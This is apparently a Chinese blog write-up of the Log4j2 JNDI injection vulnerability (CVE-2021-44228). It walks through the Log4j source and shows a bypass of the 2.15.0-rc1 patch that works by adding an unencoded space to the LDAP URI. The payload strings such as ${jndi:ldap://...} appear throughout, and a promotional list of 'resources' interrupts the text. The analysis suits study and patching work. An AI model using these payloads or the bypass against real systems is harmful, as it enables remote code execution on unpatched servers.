安全漏洞之Log4j2漏洞复现绕过分析
0x00 介绍
Log4j2是Java开发常用的日志框架，该漏洞触发条件低，危害大，由阿里云安全团队报告
分配CVE编号：CVE-2021-44228
CVSS评分：10.0（最高只能10分）
POC比较简单
public static void main(String[] args) throws Exception {
logger.error("${jndi:ldap://127.0.0.1:1389/badClassName}");
}
POC虽然简单，但是搭建LDAP环境显得有点复杂，marshalsec方式需要自行编译class并搭建HTTP服务端
java -jar LDAPKit.jar [命令]
截图如下
【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线
0x01 RCE分析
首先来看RCE是怎样的原理，先来一段又臭又长的流程分析
看看从logger.error到JndiLookup.lookup中间经历了些什么
从logger.error()层层跟到AbstractLogger.tryLogMessage.log方法
private void tryLogMessage(final String fqcn,
final StackTraceElement location,
final Level level,
final Marker marker,
final Message message,
final Throwable throwable) {
try {
log(level, marker, fqcn, location, message, throwable);
} catch (final Exception e) {
handleLogMessageException(e, fqcn, message);
}
}
不动态调试的情况下跟log方法会到AbstractLogger.log方法，实际上这里是org.apache.logging.log4j.core.Loggger.log方法
@Override
protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location,
final Message message, final Throwable throwable) {
final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy();
if (strategy instanceof LocationAwareReliabilityStrategy) {
// 触发点
((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level,
message, throwable);
} else {
strategy.log(this, getName(), fqcn, marker, level, message, throwable);
}
}
跟入这里的log方法到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log
@Override
public void log(final Supplier reconfigured, final String loggerName, final String fqcn,
final StackTraceElement location, final Marker marker, final Level level, final Message data,
final Throwable t) {
loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);
}
进入LoggerConfig.log方法
@PerformanceSensitive("allocation")
public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,
final Level level, final Message data, final Throwable t) {
// 无需关心的代码
...
try {
// 跟入
log(logEvent, LoggerConfigPredicate.ALL);
} finally {
ReusableLogEventFactory.release(logEvent);
}
}
进入LoggerConfig另一处重载log方法
protected void log(final LogEvent event, final LoggerConfigPredicate predicate) {
if (!isFiltered(event)) {
// 跟入
processLogEvent(event, predicate);
}
}
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
event.setIncludeLocation(isIncludeLocation());
if (predicate.allow(this)) {
// 关键点
callAppenders(event);
}
logParent(event, predicate);
}
可以看到调用appender.control的callAppender方法
@PerformanceSensitive("allocation")
protected void callAppenders(final LogEvent event) {
final AppenderControl[] controls = appenders.get();
//noinspection ForLoopReplaceableByForEach
for (int i = 0; i < controls.length; i++) {
controls[i].callAppender(event);
}
}
层层跟入到AppenderControl.tryCallAppender方法
private void callAppender0(final LogEvent event) {
ensureAppenderStarted();
if (!isFilteredByAppender(event)) {
// 跟入
tryCallAppender(event);
}
}
private void tryCallAppender(final LogEvent event) {
try {
// 跟入
appender.append(event);
} catch (final RuntimeException error) {
handleAppenderError(event, error);
} catch (final Exception error) {
handleAppenderError(event, new AppenderLoggingException(error));
}
}
进入AbstractOutputStreamAppender.append方法，进入到directEncodeEvent方法
protected void directEncodeEvent(final LogEvent event) {
getLayout().encode(event, manager);
if (this.immediateFlush || event.isEndOfBatch()) {
manager.flush();
}
}
关注其中的encode方法跟入到PatternLayout.encode方法
@Override
public void encode(final LogEvent event, final ByteBufferDestination destination) {
if (!(eventSerializer instanceof Serializer2)) {
super.encode(event, destination);
return;
}
final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());
final Encoder encoder = getStringBuilderEncoder();
encoder.encode(text, destination);
trimToMaxSize(text);
}
不用关心多余的代码，这里触发点在toText方法
private StringBuilder toText(final Serializer2 serializer, final LogEvent event,
final StringBuilder destination) {
return serializer.toSerializable(event, destination);
}
@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
final int len = formatters.length;
for (int i = 0; i < len; i++) {
// 发现其中某一处format方法触发漏洞
formatters[i].format(event, buffer);
}
if (replace != null) {
String str = buffer.toString();
str = replace.format(str);
buffer.setLength(0);
buffer.append(str);
}
return buffer;
}
这里的formatters方法包含了多个formatter对象，其中出发漏洞的是第8个，其中包含MessagePatternConverter
跟入看到调用了Converter相关的方法
public void format(final LogEvent event, final StringBuilder buf) {
if (skipFormattingInfo) {
converter.format(event, buf);
} else {
formatWithInfo(event, buf);
}
}
不难看出每个formatter和converter为了构造日志的每一部分，这里在构造真正的日志信息字符串部分
跟入MessagePatternConverter.format方法，看到核心的部分
@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {
final Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
final boolean doRender = textRenderer != null;
final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
final int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
} else {
((StringBuilderFormattable) msg).formatTo(workingBuilder);
}
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
// 是否以${开头
if (workingBuilder.charAt(i) == '/pre> && workingBuilder.charAt(i + 1) == '{') {
// 这个value是：${jndi:ldap://127.0.0.1:1389/badClassName}
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
// 跟入replace方法
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
if (doRender) {
textRenderer.render(workingBuilder, toAppendTo);
}
return;
}
if (msg != null) {
String result;
if (msg instanceof MultiformatMessage) {
result = ((MultiformatMessage) msg).getFormattedMessage(formats);
} else {
result = msg.getFormattedMessage();
}
if (result != null) {
toAppendTo.append(config != null && result.contains("${")
? config.getStrSubstitutor().replace(event, result) : result);
} else {
toAppendTo.append("null");
}
}
}
进入StrSubstitutor.replace方法
public String replace(final LogEvent event, final String source) {
if (source == null) {
return null;
}
final StringBuilder buf = new StringBuilder(source);
// 跟入
if (!substitute(event, buf, 0, source.length())) {
return source;
}
return buf.toString();
}
跟入StrSubstitutor.subtute方法，存在递归，逻辑较长
主要作用是递归处理日志输入，转为对应的输出
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List priorVariables) {
...
substitute(event, bufName, 0, bufName.length());
...
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
...
int change = substitute(event, buf, startPos, varLen, priorVariables);
}
其实这里是触发漏洞的必要条件，通常情况下程序员会这样写日志相关代码
logger.error("error_message:" + info);
黑客的恶意输入有可能进入info变量导致这里变成
logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");
这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName进入resolveVariable方法
经过调试确认了关键方法resolveVariable
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
// 进入
return resolver.lookup(event, variableName);
}
跟入这里的lookup可以看到很多师傅们截图的方法
@Override
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}
final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
// 关键
final StrLookup lookup = strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware) lookup).setConfiguration(configuration);
}
String value = null;
if (lookup != null) {
// 这里的name是：ldap://127.0.0.1:1389/badClassName
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultLookup != null) {
return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
}
return null;
}
这里的strLookupMap中包含了多种Lookup对象
类似地，可以这样用
logger.error("${java:runtime}");
// 打印
00:36:26.312 [main] ERROR Main - Java(TM) SE Runtime Environment (build 1.8.0_131-b11) from Oracle Corporation
跟入JndiLookup.lookup
@Override
public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
}
final String jndiName = convertJndiName(key);
try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
// 跟入lookup
return Objects.toString(jndiManager.lookup(jndiName), null);
} catch (final NamingException e) {
LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
return null;
}
}
最后触发点JndiManager.lookup
@SuppressWarnings("unchecked")
public T lookup(final String name) throws NamingException {
return (T) this.context.lookup(name);
}
0x03 RC1修复绕过
修复版本2.15.0-rc1
跟了下流程发现到PatternLayout.toSerializable方法发生了变化
不过这里的变化没有什么影响，其中的formatters属性的变化导致了${}不会被处理
@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
for (PatternFormatter formatter : formatters) {
formatter.format(event, buffer);
}
return buffer;
}
这里某个formatter包含了MessagePatternConverter
在修复后变成了MessagePatternConverter.SimplePatternConverter类
可以发现在这个类中变成了直接拼接字符串的操作，不去判断${}这种情况
private static final class SimpleMessagePatternConverter extends MessagePatternConverter {
private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter();
@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {
Message msg = event.getMessage();
// 直接拼接字符串
if (msg instanceof StringBuilderFormattable) {
((StringBuilderFormattable) msg).formatTo(toAppendTo);
} else if (msg != null) {
toAppendTo.append(msg.getFormattedMessage());
}
}
}
注意到另一个子类LookupMessagePatternConverter
如果Converter被设置为该类，那么会继续进行${}的处理
private static final class LookupMessagePatternConverter extends MessagePatternConverter {
private final MessagePatternConverter delegate;
private final Configuration config;
LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) {
this.delegate = delegate;
this.config = config;
}
@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {
int start = toAppendTo.length();
delegate.format(event, toAppendTo);
// 判断${}
int indexOfSubstitution = toAppendTo.indexOf("${", start);
if (indexOfSubstitution >= 0) {
config.getStrSubstitutor()
// 进入了上文的流程
.replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution);
}
}
}
具体需要设置为哪一个子类取决于用户的配置
private static final String LOOKUPS = "lookups";
private static final String NOLOOKUPS = "nolookups";
public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {
boolean lookups = loadLookups(options);
String[] formats = withoutLookupOptions(options);
TextRenderer textRenderer = loadMessageRenderer(formats);
// 默认不配置lookup功能
MessagePatternConverter result = formats == null || formats.length == 0
? SimpleMessagePatternConverter.INSTANCE
: new FormattedMessagePatternConverter(formats);
if (lookups && config != null) {
// 只有用户进行配置才会触发
result = new LookupMessagePatternConverter(result, config);
}
if (textRenderer != null) {
result = new RenderingPatternConverter(result, textRenderer);
}
return result;
}
于是想办法开启lookup功能分析后续有没有限制
final Configuration config = new DefaultConfigurationBuilder().build(true);
// 配置开启lookup功能
final MessagePatternConverter converter =
MessagePatternConverter.newInstance(config, new String[] {"lookups"});
final Message msg = new ParameterizedMessage("${jndi:ldap://127.0.0.1:1389/badClassName}");
final LogEvent event = Log4jLogEvent.newBuilder()
.setLoggerName("MyLogger")
.setLevel(Level.DEBUG)
.setMessage(msg).build();
final StringBuilder sb = new StringBuilder();
converter.format(event, sb);
System.out.println(sb);
成功开启lookups功能，调用LookupMessagePatternConverter.fomat方法
递归处理等过程均没有变化，最后JndiManager.lookup触发漏洞的地方进行了修改
public synchronized T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
// 允许的协议白名单
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
// 允许的host白名单
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
Attributes attributes = this.context.getAttributes(name);
if (attributes != null) {
Map attributeMap = new HashMap<>();
NamingEnumeration enumeration = attributes.getAll();
while (enumeration.hasMore()) {
Attribute attribute = enumeration.next();
attributeMap.put(attribute.getID(), attribute);
}
Attribute classNameAttr = attributeMap.get(CLASS_NAME);
// 参考下图我们这种Payload不存在javaSerializedData头
// 所以不会进入类白名单判断
if (attributeMap.get(SERIALIZED_DATA) != null) {
if (classNameAttr != null) {
// 类名白名单
String className = classNameAttr.get().toString();
if (!allowedClasses.contains(className)) {
LOGGER.warn("Deserialization of {} is not allowed", className);
return null;
}
} else {
LOGGER.warn("No class name provided for {}", name);
return null;
}
} else if (attributeMap.get(REFERENCE_ADDRESS) != null
|| attributeMap.get(OBJECT_FACTORY) != null) {
// 不允许REFERENCE这种加载对象的方式
LOGGER.warn("Referenceable class is not allowed for {}", name);
return null;
}
}
}
}
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
}
看看实际运行中，这几个白名单是怎样的
默认的协议是：java，ldap，ldaps
默认数据类型是八大基本数据类型
默认的Host白名单是localhost
实际上拦住Payload是在最后一处OBJECT_FACTORY判断
由于RCE一定需要加载远程对象，那么避免不了javaFactory属性（或者有一些其他思路，笔者刚做Java安全不了解）
看起来无懈可击，然而这里有一处细节问题
public synchronized T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
...
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
}
如果发生了URISyntaxException异常会直接this.context.lookup
能否想办法让new URI(name);时候报错但name传入context.lookup(name);时正常
经过测试发现URI中不进行URL编码会报这个错，加个空格即可触发${jndi:ldap://127.0.0.1:1389/ badClassName}（不对空格做编码导致异常，但是lookup时候会去掉这个空格）
成功RCE（需要用户开启lookup功能的基础上才可以）
0x04 RC2修复
RC2的修复方案是直接return，有效解决了上文的绕过
try{
} catch (URISyntaxException ex) {
LOGGER.warn("Invalid JNDI URI - {}", name);
return null;
}
return (T) this.context.lookup(name);